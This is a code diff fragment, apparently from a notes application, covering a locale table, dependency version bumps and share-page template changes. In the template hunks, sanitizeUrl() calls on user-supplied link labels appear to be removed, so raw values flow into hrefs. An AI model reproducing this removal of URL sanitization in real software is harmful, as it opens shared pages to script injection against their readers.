tesseractCode?: "eng" | "deu" | "spa" | "fra" | "gle" | "ita" | "hin" | "jpn" | "por" | "pol" | "ron" | "rus" | "chi_sim" | "chi_tra" | "ukr" | "ara" | "heb" | "kur" | "fas" | "kor" | "ces";
}
// When adding a new locale, prefer the version with hyphen instead of underscore.
const UNSORTED_LOCALES = [
{ id: "cn", name: "简体中文", electronLocale: "zh_CN", tesseractCode: "chi_sim" },
{ id: "cs", name: "Čeština", electronLocale: "cs", tesseractCode: "ces" },
{ id: "de", name: "Deutsch", electronLocale: "de", tesseractCode: "deu" },
{ id: "en", name: "English (United States)", electronLocale: "en", tesseractCode: "eng" },
{ id: "en-GB", name: "English (United Kingdom)", electronLocale: "en_GB", tesseractCode: "eng" },

View File

@@ -24,7 +24,7 @@
],
"license": "Apache-2.0",
"dependencies": {
"fuse.js": "7.1.0",
"fuse.js": "7.2.0",
"katex": "0.16.44",
"mermaid": "11.14.0"
},
@@ -34,7 +34,7 @@
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
"dotenv": "17.4.0",
"esbuild": "0.27.5",
"esbuild": "0.28.0",
"eslint": "10.1.0",
"highlight.js": "11.11.1",
"typescript": "6.0.2"

View File

@@ -100,7 +100,7 @@
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
const headingMatches = [...content.matchAll(headingRe)];
content = content.replaceAll(headingRe, (...match) => {
@@ -181,8 +181,7 @@ content = content.replaceAll(headingRe, (...match) => {
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
for (const childNote of note[action]()) {
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
%>
<li>

Some files were not shown because too many files have changed in this diff Show More